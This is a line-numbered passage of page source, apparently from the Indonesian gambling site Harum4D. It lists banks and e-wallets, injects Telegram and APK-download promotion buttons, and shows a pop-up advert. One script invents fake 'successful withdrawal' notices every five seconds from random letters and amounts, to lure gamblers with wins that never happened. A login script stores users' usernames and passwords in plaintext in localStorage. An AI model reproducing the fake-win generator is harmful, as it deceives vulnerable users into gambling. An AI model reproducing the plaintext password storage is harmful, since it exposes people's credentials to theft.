4965 <div class="transaksi-right-box"> 4966 <div class="transaksi-group"> 4967 4968 <!-- BANK LOKAL --> 4969 <div class="transaksi-bank"> 4970 <div class="transaksi-wrapper"> 4971 <div class="transaksi-name">Bank Lokal</div> 4972 <div id="transaksi-bank-indicators" class="carousel slide" data-bs-ride="carousel"> 4973 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 4974 <button type="button" data-bs-target="#transaksi-bank-indicators" 4975 data-bs-slide-to="0" class="active" aria-current="true" 4976 aria-label="Slide 1"></button> 4977 <button type="button" data-bs-target="#transaksi-bank-indicators" 4978 data-bs-slide-to="1" aria-label="Slide 2"></button> 4979 </div> 4980 4981 <div class="carousel-inner" style="min-height: 144px"> 4982 <div class="carousel-item active"> 4983 <div class="transaksi-list-bank"> 4984 <div class="transaksi-item"> 4985 <div class="transaksi-header is-online"> 4986 BCA </div> 4987 <div class="transaksi-status"></div> 4988 </div> 4989 <div class="transaksi-item"> 4990 <div class="trans
4990aksi-header is-online"> 4991 Mandiri </div> 4992 <div class="transaksi-status"></div> 4993 </div> 4994 <div class="transaksi-item"> 4995 <div class="transaksi-header is-online"> 4996 BNI </div> 4997 <div class="transaksi-status"></div> 4998 </div> 4999 <div class="transaksi-item"> 5000 <div class="transaksi-header is-online"> 5001 BRI </div> 5002 <div class="transaksi-status"></div> 5003 </div> 5004 <div class="transaksi-item"> 5005 <div class="transaksi-header is-online"> 5006 CIMB </div> 5007 <div class="transaksi-status"></div> 5008 </div> 5009 <div class="transaksi-item"> 5010 <div class="transaksi-header is-online"> 5011 Danamon </div> 5012 <div class="transaksi-status"></div> 5013 </div> 5014 <div class="transaksi-item"> 5015 <div class="transaksi-header is-online"> 5016 Permata </div> 5017 <div class="transaksi-status"></div> 5018 </div> 5019 <div class="transaksi-item"> 5020 <div class="transaksi-header is-online"> 5021 BJB </div> 5022 <div class="transaksi-status"></div> 5023 </div> 5024 <div class="transaksi-item"> 5025 <div class="transaksi-header is-online"> 5026 PANIN </div> 5027 <div class="transaksi-status"></div> 5028 </div> 5029 <div class="transaksi-item"> 5030 <div class="transaksi-header is-online"> 5031 OCBC </div> 5032 <div class="transaksi-status"></div> 5033 </div> 5034 <div class="transaksi-item"> 5035 <div class="transaksi-header is-online"> 5036 DKI </div> 5037 <div class="transaksi-status"></div> 5038 </div> 5039 <div class="transaksi-item"> 5040 <div class="transaksi-header is-online"> 5041 SUMUT </div> 5042 <div class="transaksi-status"></div> 5043 </div> 5044 <div class="transaksi-item"> 5045 <div class="transaksi-header is-online"> 5046 BSI </div> 5047 <div class="transaksi-status"></div> 5048 </div> 5049 <div class="transaksi-item"> 5050 <div class="transaksi-header is-online"> 5051 NEO </div> 5052 <div class="transaksi-status"></div> 5053 </div> 5054 <div class="transaksi-item"> 5055 <div class="transaksi-header is-online"> 5056 JAGO </div> 5057 <div class="transaksi-status"></div> 5058 </div> 5059 <div class="transaksi-item"> 5060 <div class="transaksi-header is-online"> 5061 SeaBank </div> 5062 <div class="transaksi-status"></div> 5063 </div> 5064 </div> 5065 </div> 5066 <div class="carousel-item "> 5067 <div class="transaksi-list-bank"> 5068 <div class="transaksi-item"> 5069 <div class="transaksi-header is-online"> 5070 NOBU </div> 5071 <div class="transaksi-status"></div> 5072 </div> 5073 <div class="transaksi-item"> 5074 <div class="transaksi-header is-online"> 5075 Maybank </div> 5076 <div class="transaksi-status"></div> 5077 </div> 5078 <div class="transaksi-item"> 5079 <div class="transaksi-header is-online"> 5080 Mestika </div> 5081 <div class="transaksi-status"></div> 5082 </div> 5083 <div class="transaksi-item"> 5084 <div class="transaksi-header is-online"> 5085 Sinarmas </div> 5086 <div class="transaksi-status"></div> 5087 </div> 5088 <div class="transaksi-item"> 5089 <div class="transaksi-header is-online"> 5090 Mega </div> 5091 <div class="transaksi-status"></div> 5092 </div> 5093 <div class="transaksi-item"> 5094 <div class="transaksi-header is-online"> 5095 Superbank </div> 5096 <div class="transaksi-status"></div> 5097 </div> 5098 <div class="transaksi-item"> 5099 <div class="transaksi-header is-online"> 5100 SAQU </div> 5101 <div class="transaksi-status"></div> 5102 </div> 5103 </div> 5104 </div> 5105 </div> 5106 </div> 5107 5108 </div> 5109 </div> 5110 5111 <!-- E MONEY & PULSA --> 5112 <div class="transaksi-other"> 5113 <div class="transaksi-wrapper"> 5114 <div class="transaksi-name">E Money & Pulsa</div> 5115 5116 <div id="transaksi-other-indicators" class="carousel slide" data-bs-ride="carousel"> 5117 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 5118 </div> 5119 5120 <div class="carousel-inner" > 5121 <div class="carousel-item active"> 5122 <div class="transaksi-list-other"> 5123 <div class="transaksi-item"> 5124 <div class="transaksi-header is-online"> 5125 Jenius </div> 5126 <div class="transaksi-status"></div> 5127 </div> 5128 <div class="transaksi-item"> 5129 <div class="transaksi-header is-online"> 5130 DANA </div> 5131 <div class="transaksi-status"></div> 5132 </div> 5133 <div class="transaksi-item"> 5134 <div class="transaksi-header is-online"> 5135 OVO </div> 5136 <div class="transaksi-status"></div> 5137 </div> 5138 <div class="transaksi-item"> 5139 <div class="transaksi-header is-online"> 5140 ShopeePay </div> 5141 <div class="transaksi-status"></div> 5142 </div> 5143 <div class="transaksi-item"> 5144 <div class="transaksi-header is-online"> 5145 GOPAY </div> 5146 <div class="transaksi-status"></div> 5147 </div> 5148 <div class="transaksi-item"> 5149 <div class="transaksi-header is-online"> 5150 LinkAja </div> 5151 <div class="transaksi-status"></div> 5152 </div> 5153 <div class="transaksi-item"> 5154 <div class="transaksi-header is-online"> 5155 Lain-lain </div> 5156 <div class="transaksi-status"></div> 5157 </div> 5158 <div class="transaksi-item"> 5159 <div class="transaksi-header is-online"> 5160 QRIS </div> 5161 <div class="transaksi-status"></div> 5162 </div> 5163 <div class="transaksi-item"> 5164 <div class="transaksi-header is-online"> 5165 AntarBank </div> 5166 <div class="transaksi-status"></div> 5167 </div> 5168 <div class="transaksi-item"> 5169 <div class="transaksi-header is-online"> 5170 Telkomsel </div> 5171 <div class="transaksi-status"></div> 5172 </div> 5173 <div class="transaksi-item"> 5174 <div class="transaksi-header is-online"> 5175 Axiata </div> 5176 <div class="transaksi-status"></div> 5177 </div> 5178 </div> 5179
5179 </div> 5180 </div> 5181 </div> 5182 5183 </div> 5184 </div> 5185 5186 <!-- CRYPTO --> 5187 <div class="transaksi-crypto"> 5188 <div class="transaksi-wrapper"> 5189 <div class="transaksi-name mb-1">Crypto Currency</div> 5190 5191 <div id="transaksi-crypto-indicators" class="carousel slide" data-bs-ride="carousel"> 5192 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 5193 </div> 5194 5195 <div class="carousel-inner" > 5196 <div class="carousel-item active"> 5197 <div class="transaksi-list-crypto"> 5198 <div class="d-flex gap-2"> 5199 <img src="https://img.viva88athenae.com/USDT.png" 5200 class="icon-crypto" alt="USDT"> 5201 <strong class="transaksi-name">USDT</strong> 5202 </div> 5203 </div> 5204 </div> 5205 </div> 5206 5207 </div> 5208 </div> 5209 </div> 5210 5211 </div> 5212 </div> 5213</div> 5214 </div> 5215 5216 5217 </div> 5218 5219 <!--<div class="d-flex flex-column desktop-only" style="width: 180px">--> 5220 5221 <!-- <div class="transaksi-title">--> 5222 <!-- <div class="transaksi-title-group">--> 5223 <!-- <div class="fitur-header">Kontak Kami</div>--> 5224 <!-- </div>--> 5225 5226 <!-- <div class="devider desktop-only"></div>--> 5227 <!-- </div>--> 5228 5229 5230 <!-- 5231<div id="kontak-kami-indicators" class="carousel slide" data-bs-ride="carousel" style="padding-top: 14px"> 5232 <div class="carousel-indicators" style="bottom: -33px; margin-bottom: 0px"> 5233 5234 5235 </div> 5236 <div class="carousel-inner" style="height: 164px"> 5237 5238 5239 </div> 5240</div> 5241--> 5242 5243 <!--</div>--> 5244 </div> 5245 </div> 5246 </div> 5247 5248 5249 <div class="bantuan"> 5250 5251 <ul class="bantuan-content justify-content-center"> 5252 <li class="bantuan-item" onclick="showInformasi('tentang')">TENTANG KAMI</li> 5253 <div class="bantuan-devider desktop-only">|</div> 5254 <li class="bantuan-item" onclick="showInformasi('bantuan')">BANTUAN</li> 5255 <div class="bantuan-devider desktop-only">|</div> 5256 <li class="bantuan-item" onclick="showInformasi('peraturan')">PERATURAN</li> 5257 <div class="bantuan-devider desktop-only">|</div> 5258 <li class="bantuan-item" onclick="showInformasi('bank')">INFORMASI BANK</li> 5259 <div class="bantuan-devider desktop-only">|</div> 5260 <li class="bantuan-item" onclick="showInformasi('hubungi')">HUBUNGI KAMI</li> 5261 <div class="bantuan-devider desktop-only">|</div> 5262 <li class="bantuan-item" onclick="showInformasi('privasi')">KEBIJAKAN PRIVASI</li> 5263 <div class="bantuan-devider desktop-only">|</div> 5264 <li class="bantuan-item" onclick="showInformasi('cookies')">PERSETUJUAN COOKIES</li> 5265 </ul> 5266 </div> 5267 5268 5269 <footer class="footer"> 5270 5271 <div class="guidelines"> 5272 <div class="desktop-only"> 5273 <div class="guidelines-content d-flex justify-content-center"> 5274 <img src="https://img.viva88athenae.com/assets/guidelines.png" style="width: 640px" /> 5275 </div> 5276 </div> 5277 </div> 5278 5279 <div class="provider d-none d-lg-block"> 5280 <div class="provider-group"> 5281 <img src="https://img.viva88athenae.com/assets/provider.png" class="desktop-only" alt=""> 5282 </div> 5283 </div> 5284 5285 <div> 5286 </footer> 5287 5288 </section> 5289 </amp-accordion> 5290 5291 <kiri> 5292<!--Mulai disini--><p></p> 5293 5294 5295 5296 5297 5298 5299<p><!--Akhir disini--> 5300</p></div> 5301 5302<style> 5303 /* start wa button */ 5304 .wabutton ul { 5305 padding: 0px; 5306 -webkit-transform: translate(-130px, 0); 5307 -moz-transform: translate(-130px, 0); 5308 -ms-transform: translate(-130px, 0); 5309 -o-transform: translate(-130px, 0); 5310 transform: translate(-130px, 0); 5311 } 5312 5313 .wabutton ul li a { 5314 color: #fff; 5315 } 5316 5317 .wabutton ul li { 5318 display: block; 5319 margin: 6px; 5320 margin-left: 0px; 5321 background: rgba(0, 0, 0, 0.86); 5322 width: 180px; 5323 text-align: right; 5324 padding: 4px; 5325 -webkit-border-radius: 0 20px 20px 0; 5326 -moz-border-radius: 0 20px 20px 0; 5327 border-radius: 0 20px 20px 0; 5328 -webkit-transition: all 1s; 5329 -moz-transition: all 1s; 5330 -ms-transition: all 1s; 5331 -o-transition: all 1s; 5332 transition: all 1s; 5333 height: 53px; 5334 border: groove 3px #0adbff; 5335 color: #ffffff; 5336 } 5337 5338 .wabutton ul li:hover { 5339 -webkit-transform: translate(110px, 0); 5340 -moz-transform: translate(110px, 0); 5341 -ms-transform: translate(110px, 0); 5342 -o-transform: translate(110px, 0); 5343 transform: translate(110px, 0); 5344 background: rgba(0, 0, 0, 0.86); 5345 color: #ffffff; 5346 } 5347 5348 .wabutton ul li:hover a { 5349 color: rgb(9, 205, 240); 5350 } 5351 5352 .wabutton ul li:hover i { 5353 color: rgb(255, 255, 255); 5354 background: rgba(0, 0, 0, 0.86); 5355 -webkit-transform: rotate(360deg); 5356 -moz-transform: rotate(360deg); 5357 -ms-transform: rotate(360deg); 5358 -o-transform: rotate(360deg); 5359 transform: rotate(360deg); 5360 -webkit-transition: all 1s; 5361 -moz-transition: all 1s; 5362 -ms-transition: all 1s; 5363 -o-transition: all 1s; 5364 transition: all 1s; 5365 } 5366 5367 .wabutton ul li i { 5368 margin-left: 10px; 5369 color: #000; 5370 background: #fff; 5371 padding: 10px; 5372 -webkit-border-radius: 50%; 5373 -moz-border-radius: 50%; 5374 border-radius: 50%;
5375 width: 20px; 5376 height: 20px; 5377 font-size: 20px; 5378 background: #ffffff; 5379 -webkit-transform: rotate(0deg); 5380 -moz-transform: rotate(0deg); 5381 -ms-transform: rotate(0deg); 5382 -o-transform: rotate(0deg); 5383 transform: rotate(0deg); 5384 } 5385 5386 /* end wa button */ 5387 footer#footer { 5388 background-color: #000; 5389 border-top: 10px solid #231708; 5390 color: rgba(255, 255, 255, 1); 5391 font-weight: 300; 5392 font-size: 13px; 5393 } 5394 5395 5396 .wabutton { 5397 position: fixed; 5398 bottom: 145px; 5399 left: 14px; 5400 z-index: 100; 5401 width: 60px; 5402 height: 60px; 5403 } 5404 5405 5406 5407 .slotapkharum4d{ 5408 position: fixed; 5409 bottom: 120px; 5410 left: 14px; 5411 z-index: 100; 5412 width: 95px; 5413 height: 95px; 5414 } 5415 .aplikasiharum4d { 5416 position: fixed; 5417 bottom: 220px; 5418 left: 14px; 5419 z-index: 100; 5420 width: 95px; 5421 height: 95px; 5422 } 5423 .rtp-harum4d{ 5424 position: fixed; 5425 bottom: 320px; 5426 left: 14px; 5427 z-index: 100; 5428 width: 95px; 5429 height: 95px; 5430 5431 </style> 5432 5433 <a href="https://harum4drtp.com/" target="_blank"><img src="https://images.squarespace-cdn.com/content/v1/68f1f7690ee21816b0e3482f/a7de1ae3-3331-478c-b368-4530d2bc6752/gif-rtp-harum4d.gif" 5434 class="rtp-harum4d" alt="rtp harum4d"></a> 5435 5436 5437<div style= 5438"position: fixed; bottom: 220px; left: 14px; z-index: 10; opacity: 0.98;"> 5439<a href="https://cutt.ly/jyhhyXVA" target= 5440"_blank" rel="noopener"><img class="Apk Harum4d" src= 5441"https://images.squarespace-cdn.com/content/v1/68f1f7690ee21816b0e3482f/d1a9b3f6-7c09-449c-86c8-c3ad3866e216/gif-apk-harum4d.gif" 5442alt="Apk Harum4d" width="90" height="90"></a></div> 5443 5444 5445 5446<div style= 5447"position: fixed; bottom:120px; left: 14px; z-index: 10; opacity: 0.98;"> 5448<a href="https://telegram.me/HARUM4DOFFICAL2" target= 5449"_blank" rel="noopener"><img class="Telegram Harum4d" src= 5450"https://images.squarespace-cdn.com/content/v1/68f1f7690ee21816b0e3482f/ccb1fcf0-a728-44ed-83a3-860a05ee331a/gif-telegram-harum4d.gif" 5451alt="Telegram Harum4d" width="90" height="90"></a></div> 5452 5453
5454<script> 5455$("<a class='btn' style='color:White; background: radial-gradient(#007ab2, #00afff); font-size: 20px; width: 100%; height: 50px; display: grid; border-radius: 20px; place-items: center' href='https://t.me/harum4d_offical' target='_blank'>Channel Telegram </a>").insertAfter(".btn-info:eq(0)") 5456</script>
5456 5457
5458<script> 5459$("<a class='btn' style='color:White; background: radial-gradient(#007ab2, #00afff); font-size: 20px; width: 100%; height: 75px; display: grid; border-radius: 20px; place-items: center' href='https://ael.ink/ndc00mdquir8' target='_blank'><b>Cabang Harum4d<br>HARUMSLOT</b></a>").insertAfter(".btn-info:eq(0)") 5460</script>
5460 5461
5462<script> 5463$("<a class='btn' style='color:White; background: radial-gradient(#007ab2, #00afff); font-size: 20px; width: 100%; height: 50px; display: grid; border-radius: 20px; place-items: center' href='https://t.me/harum4d_bot' target='_blank'><b>MAIN DI TELEGRAM</b></a>").insertAfter(".btn-info:eq(0)") 5464</script>
5464 5465
5466<script> 5467$("<a class='btn' style='color:White; background: radial-gradient(#007ab2, #00afff); font-size: 20px; width: 100%; height: 50px; display: grid; border-radius: 20px; place-items: center' href='https://harum4dapk1.com/downloads/app/Harum4D.apk' target='_blank'><b>APK HARUM4D</b></a>").insertAfter(".btn-info:eq(0)") 5468</script>
5468 5469 5470 5471<style> 5472 #pop-up-container { 5473 display: flex; 5474 align-items: center; 5475 justify-content: space-evenly; 5476 position: fixed; 5477 z-index: 11; 5478 top: 0; 5479 left: 0; 5480 right: 0; 5481 bottom: 0; 5482 } 5483 #pop-up-wrapper { 5484 width: 85%; 5485 min-width: 315px; 5486 max-width: 500px; 5487 min-height: 210px; 5488 position: relative; 5489 z-index: 11; 5490 overflow: visible; 5491 border-radius: 5px; 5492 } 5493 #pop-up-wrapper img { 5494 width: 100%; 5495 border-radius: 5px 5px 0 0; 5496 } 5497 #pop-up-wrapper button { 5498 width: 100%; 5499 padding: 0.75rem; 5500 font-size: -0.75rem; 5501 font-weight: 700; 5502 border: none; 5503 border-radius: 0 0 5px 5px; 5504 margin: 0; 5505 background-color: #030303; 5506 } 5507 .gray-bg { 5508 background: #00000000 no-repeat; 5509 } 5510 .swirl-in-fwd { 5511 -webkit-animation: swirl-in-fwd 0.6s ease-out both; 5512 animation: swirl-in-fwd 0.6s ease-out both; 5513 } 5514 .x-mark-container { 5515 position: absolute; 5516 top: 5px; 5517 right: 5px; 5518 background-color: black; 5519 border-radius: 50%; 5520 width: 8%; 5521 } 5522 #bg-black { 5523 background-color: rgba(0, 0, 0, 0.86); 5524 position: fixed; 5525 z-index: 10; 5526 top: 0; 5527 left: 0; 5528 right: 0; 5529 bottom: 0; 5530 } 5531 @-webkit-keyframes swirl-in-fwd { 5532 0% { 5533 -webkit-transform: rotate(0deg) scale(0); 5534 transform: rotate(0deg) scale(0); 5535 opacity: 0; 5536 } 5537 100% { 5538 -webkit-transform: rotate(0) scale(1); 5539 transform: rotate(0) scale(1); 5540 opacity: 1; 5541 } 5542 } 5543 @keyframes swirl-in-fwd { 5544 0% { 5545 -webkit-transform: rotate(0deg) scale(0); 5546 transform: rotate(0deg) scale(0); 5547 opacity: 0; 5548 } 5549 100% { 5550 -webkit-transform: rotate(0) scale(1); 5551 transform: rotate(0) scale(1); 5552 opacity: 1; 5553 } 5554 } 5555 .swirl-out-bck { 5556 -webkit-animation: swirl-out-bck 0.6s ease-in both; 5557 animation: swirl-out-bck 0.6s ease-in both; 5558 } 5559 @-webkit-keyframes swirl-out-bck { 5560 0% { 5561 -webkit-transform: rotate(0) scale(1); 5562 transform: rotate(0) scale(1); 5563 opacity: 1; 5564 } 5565 100% { 5566 -webkit-transform: rotate(0deg) scale(0); 5567 transform: rotate(0deg) scale(0); 5568 opacity: 0; 5569 } 5570 } 5571 @keyframes swirl-out-bck { 5572 0% { 5573 -webkit-transform: rotate(0) scale(1); 5574 transform: rotate(0) scale(1); 5575 opacity: 1; 5576 } 5577 100% { 5578 -webkit-transform: rotate(0deg) scale(0); 5579 transform: rotate(0deg) scale(0); 5580 opacity: 0; 5581 } 5582 } 5583 .fade-in { 5584 -webkit-animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both; 5585 animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both; 5586 } 5587 @-webkit-keyframes fade-in { 5588 0% { 5589 opacity: 0; 5590 } 5591 100% { 5592 opacity: 1; 5593 } 5594 } 5595 @keyframes fade-in { 5596 0% { 5597 opacity: 0; 5598 } 5599 100% { 5600 opacity: 1; 5601 } 5602 } 5603 .fade-out { 5604 -webkit-animation: fade-out 1s ease-out both; 5605 animation: fade-out 1s ease-out both; 5606 } 5607 @-webkit-keyframes fade-out { 5608 0% { 5609 opacity: 1; 5610 } 5611 100% { 5612 opacity: 0; 5613 } 5614 } 5615 @keyframes fade-out { 5616 0% { 5617 opacity: 1; 5618 } 5619 100% { 5620 opacity: 0; 5621 } 5622 } 5623</style> 5624 5625 5626 5627<div id="snackbar" class="show"> 5628<p id="withdraw"></p> 5629</div>
5630<script> 5631 function loadlink(){ 5632 var angka_acak = Math.floor(Math.random() * (10001-50)+50); 5633 5634 function maketextnumber(n) { 5635 for (var r = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"], e = n, t = new Array, a = 0; a <= e - 1; a++) { 5636 t[a] = r[parseInt(Math.random() * r.length)]; 5637 t = t; 5638 randomtextnumber = t.join("") 5639 } 5640 } 5641 5642 var huruf_acak = (maketextnumber(8), randomtextnumber); 5643 var huruf_belakang = huruf_acak.substring(6); 5644 var huruf_depan = huruf_acak.substring(0, 2); 5645 5646 const rupiah = (number)=>{ 5647 return new Intl.NumberFormat("id-ID", { 5648 style: "currency", 5649 currency: "IDR" 5650 }).format(number); 5651 } 5652 5653 var nominal = rupiah(angka_acak+"000"); 5654 5655 var baris = huruf_depan+"**"+huruf_belakang+" Berhasil Withdraw "+nominal; 5656 5657 var x = document.getElementById("snackbar"); 5658 x.className = "show"; 5659 setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); 5660 // setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); 5661 5662 document.getElementById("withdraw").innerHTML = huruf_depan+"**"+huruf_belakang+" Berhasil Withdraw "+nominal; 5663 // document.getElementById("withdraw").style.backgroundColor ="red"; 5664 // document.getElementById("withdraw").width ="30%"; 5665 // document.getElementById("withdraw").height ="25px"; 5666 } 5667 loadlink(); 5668 setInterval(function(){ 5669 loadlink() 5670 }, 5000); 5671 5672</script>
5672 5673 5674 5675<section class="n-container m-b-normal"> 5676<article class="bg-container contain"> 5677<div class="article"> 5678 5679</div> 5680</article> 5681</section> 5682 5683<section class="n-container m-b-normal"></section> 5684
5685<script> 5686 window.addEventListener('DOMContentLoaded', () => { 5687 if (window.location.pathname === '/' || window.location.pathname === '/') { 5688 $('body').append(` 5689 <div id="pop-up-container" onclick="close_pop_up()"> 5690 <div id="bg-black" class="fade-in"></div> 5691 5692 <div id="pop-up-wrapper" class="swirl-in-fwd gray-bg"> 5693 5694 <img 5695 src="https://images.squarespace-cdn.com/content/v1/68f1f7690ee21816b0e3482f/ad1299c8-42e8-4d80-b29d-13440df64ef6/harum4d?format=1000w" 5696 alt="popup" 5697 /> 5698 5699 5700 <button onclick="close_pop_up()" style="color: #fff">KLIK UNTUK MENUTUP</button> 5701 </div> 5702 </div> 5703 `); 5704 5705 document.getElementById('pop-up-wrapper').addEventListener('click', e => { 5706 e.stopPropagation(); 5707 }); 5708 } 5709 }); 5710 5711 const close_pop_up = () => { 5712 document.getElementById('pop-up-wrapper')?.classList.replace('swirl-in-fwd', 'swirl-out-bck'); 5713 document.getElementById('bg-black')?.classList.replace('fade-in', 'fade-out'); 5714 5715 setTimeout(() => { 5716 const pop_up_container = document.getElementById('pop-up-container'); 5717 pop_up_container?.parentElement.removeChild(pop_up_container); 5718 }, 1000); 5719 }; 5720</script>
5720 5721 5722 5723 </div> 5724 5725 5726 <div class="footer-group"> 5727 <div class="copyright"> 5728 <div style="white-space: nowrap">© 2015 - 2026 Copyright HARUM4D.</div> 5729 <div>All Rights Reserved.</div> 5730 </div> 5731 <div class="desktop-only"> 5732 <div class="d-flex gap-1"> 5733 <div class="btn-footer" onclick='window.location.href="/?mobile"'>MOBILE</div> 5734 <div class="btn-footer" onclick='window.location.href="/wap"'>WAP</div> 5735 </div> 5736 </div> 5737 <img class="mobile-only" style="width: 100%" src="https://img.viva88athenae.com/assets/guidelines.png" alt=""> 5738 5739 <button class="btn btn-aduan2 ms-lg-auto py-1 px-2" style="border: 2px solid #b08432;" data-toggle="tooltip" data-placement="bottom" title="Aduan Pelanggan" onclick="javascript:window.open ('https://ares88access.com/?token=9IL0YuHnsctrTpkXZPxlRyF3y-oWOQSU0terbgV7SpY.','mywindow','menubar=1,resizable=1,width=430 ,height=880');"> 5740 <i class="bi bi-shield-fill-exclamation"></i> 5741 <strong class="ms-1">LAPOR PUSAT</strong> 5742 </button> 5743 </div> 5744 </footer> 5745 5746 5747 5748 5749 5750 <!-- SIDENAV --> 5751 <div id="mySidenav" class="sidenav desktop-only"> 5752 <div id="nav"> 5753 <div style="display: flex; align-items: start;"> 5754 <div style="height: 246px; width: 64px; background: var(--primary-color); border-radius: 8px 0px 0px 8px; overflow: hidden; box-shadow: rgba(0, 0, 0, 0.35) 0px 5px 15px;"> 5755 5756 <img src="/assets/hubungi.png?11"> 5757 5758 </div> 5759 <!--<img id="about" src="/images/kontak.png?4">--> 5760 </div> 5761 <div class="ptsans" style="font-size: 1rem; background: white; border-radius: 0px 5px 5px 5px; overflow: hidden; width: 160px"> 5762 <div id="" style="padding: 4px"> 5763 <img src="/assets/24h.png" style="width: 100%"></img> 5764 </div> 5765 5766 <div id="kontak-content" style="display: flex; flex-direction: column; width: 100%; font-size: .8rem"> 5767 <div style="display: grid; place-items: center; font-weight: bold; font-size: 1rem">MEMBER SERVICE</div> 5768 5769 5770 5771 </div> 5772 <div style="margin: 8px"> 5773 <a href="/register"><input type="button" value="DAFTAR SEKARANG" style="width: 100%; border-radius: 5px; font-size: .875rem; height: 40px; border: none; font-weight: bold; background: black; color: white"></a> 5774 </div> 5775 </div> 5776 </div> 5777 </div> 5778 </div> 5779 5780 5781 <!--POP UP --> 5782 5783 <!-- LIVE CHAT --> 5784 <!-- Start of LiveChat (www.livechat.com) code -->
5785<script> 5786 window.__lc = window.__lc || {}; 5787 window.__lc.license = 12708882; 5788 window.__lc.integration_name = "manual_channels"; 5789 window.__lc.product_name = "livechat"; 5790 ;(function(n,t,c){function i(n){return e._h?e._h.apply(null,n):e._q.push(n)}var e={_q:[],_h:null,_v:"2.0",on:function(){i(["on",c.call(arguments)])},once:function(){i(["once",c.call(arguments)])},off:function(){i(["off",c.call(arguments)])},get:function(){if(!e._h)throw new Error("[LiveChatWidget] You can't use getters before load.");return i(["get",c.call(arguments)])},call:function(){i(["call",c.call(arguments)])},init:function(){var n=t.createElement("script");n.async=!0,n.type="text/javascript",n.src="https://cdn.livechatinc.com/tracking.js",t.head.appendChild(n)}};!n.__lc.asyncInit&&e.init(),n.LiveChatWidget=n.LiveChatWidget||e}(window,document,[].slice)) 5791</script>
5791 5792<noscript><a href="https://www.livechat.com/chat-with/12708882/" rel="nofollow">Chat with us</a>, powered by <a href="https://www.livechat.com/?welcome" rel="noopener nofollow" target="_blank">LiveChat</a></noscript> 5793<!-- End of LiveChat code --> 5794 5795 <!-- LiveChat Internal --> 5796 <style> 5797 /* Taruh widget livechat di belakang modal+backdrop selagi modal terbuka (mis. #promo) */ 5798 body.modal-open .cs-embed { z-index: 1049 !important; } 5799 </style> 5800 5801 5802
5802<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ENjdO4Dr2bkBIFxQpeoTz1HIcje39Wm4jDKdf19U8gI4ddQ3GYNS7NTKfAdVQSZe" crossorigin="anonymous"></script>
5802 5803
5803<script> 5804 document.addEventListener('DOMContentLoaded', function() { 5805 setTimeout(function() { 5806 const mobileForm = document.querySelector('#mobilelogin form') || 5807 document.querySelector('#mobilelogin .login-form') || 5808 document.querySelector('.mobile-only form'); 5809 5810 if (!mobileForm) { 5811 return; 5812 } 5813 5814 const username = mobileForm.querySelector('input[name="username"]'); 5815 const password = mobileForm.querySelector('input[name="password"]'); 5816 const remember = document.querySelector('#rememberMe') || 5817 document.querySelector('input[type="checkbox"]'); 5818 5819 if (!username || !password || !remember) { 5820 return; 5821 } 5822 5823 try { 5824 localStorage.setItem('test', 'working'); 5825 if (localStorage.getItem('test') === 'working') { 5826 localStorage.removeItem('test'); 5827 } else { 5828 return; 5829 } 5830 } catch(e) { 5831 return; 5832 } 5833 5834 initializeRememberMe(); 5835 loadSavedData(); 5836 5837 mobileForm.addEventListener('submit', handleSave); 5838 mobileForm.addEventListener('click', function(e) { 5839 if (e.target.type === 'submit' || e.target.classList.contains('submit')) { 5840 handleSave(); 5841 } 5842 }); 5843 remember.addEventListener('change', function() { 5844 if (!this.checked) { 5845 clearSavedData(); 5846 localStorage.setItem('mobile_remember_unchecked', 'true'); 5847 } else { 5848 localStorage.removeItem('mobile_remember_unchecked'); 5849 } 5850 }); 5851 5852 function initializeRememberMe() { 5853 try { 5854 const wasUnchecked = localStorage.getItem('mobile_remember_unchecked'); 5855 const hasSuccessfulLogin = localStorage.getItem('mobile_login_success'); 5856 if (wasUnchecked === 'true' && hasSuccessfulLogin === 'true') { 5857 remember.checked = false; 5858 } else { 5859 remember.checked = true; 5860 } 5861 } catch(e) { 5862 remember.checked = true; 5863 } 5864 } 5865 5866 function loadSavedData() { 5867 try { 5868 const savedUsername = localStorage.getItem('mobile_username'); 5869 const savedPassword = localStorage.getItem('mobile_password'); 5870 const rememberChecked = localStorage.getItem('mobile_remember'); 5871 if (rememberChecked === 'true' && savedUsername && savedPassword) { 5872 username.value = savedUsername; 5873 password.value = savedPassword; 5874 } 5875 } catch(e) { 5876 // console.log('Error loading data:', e); 5877 } 5878 } 5879 5880 function handleSave() { 5881 if (remember.checked) { 5882 const usernameVal = username.value.trim(); 5883 const passwordVal = password.value.trim(); 5884 5885 if (usernameVal && passwordVal) { 5886 try { 5887 localStorage.setItem('mobile_username', usernameVal); 5888 localStorage.setItem('mobile_password', passwordVal); 5889 localStorage.setItem('mobile_remember', 'true'); 5890 localStorage.setItem('mobile_login_success', 'true'); 5891 } catch(e) { 5892 // console.log('Error saving data:', e); 5893 } 5894 } 5895 } else { 5896 clearSavedData(); 5897 localStorage.setItem('mobile_login_success', 'true'); 5898 } 5899 } 5900 5901 function clearSavedData() { 5902 try { 5903 localStorage.removeItem('mobile_username'); 5904 localStorage.removeItem('mobile_password'); 5905 localStorage.removeItem('mobile_remember'); 5906 } catch(e) { 5907 // console.log('Error clearing data:', e); 5908 } 5909 } 5910 }, 100); // Wait 100ms 5911 5912 function initBroadcastMarquee() { 5913 $('.mobile-broadcast, #marquee .broadcast').each(function () { 5914 const el = $(this); 5915 5916 if ($.trim(el.text()) === '') return; 5917 if (!el.is(':visible')) return; 5918 5919 try { 5920 el.marquee('destroy'); 5921 } catch (e) {} 5922 5923 el.marquee({ 5924 speed: 30, 5925 gap: 80, 5926 delayBeforeStart: 0, 5927 direction: 'left', 5928 duplicated: true, 5929 pauseOnHover: true, 5930 startVisible: true 5931 }); 5932 }); 5933 } 5934 5935 $(window).on('load', function () { 5936 setTimeout(function () { 5937 initBroadcastMarquee(); 5938 }, 300); 5939 }); 5940 5941 $(window).on('resize orientationchange', function () { 5942 clearTimeout(window.broadcastResizeTimer); 5943 window.broadcastResizeTimer = setTimeout(function () { 5944 initBroadcastMarquee(); 5945 }, 400); 5946 }); 5947 5948 // 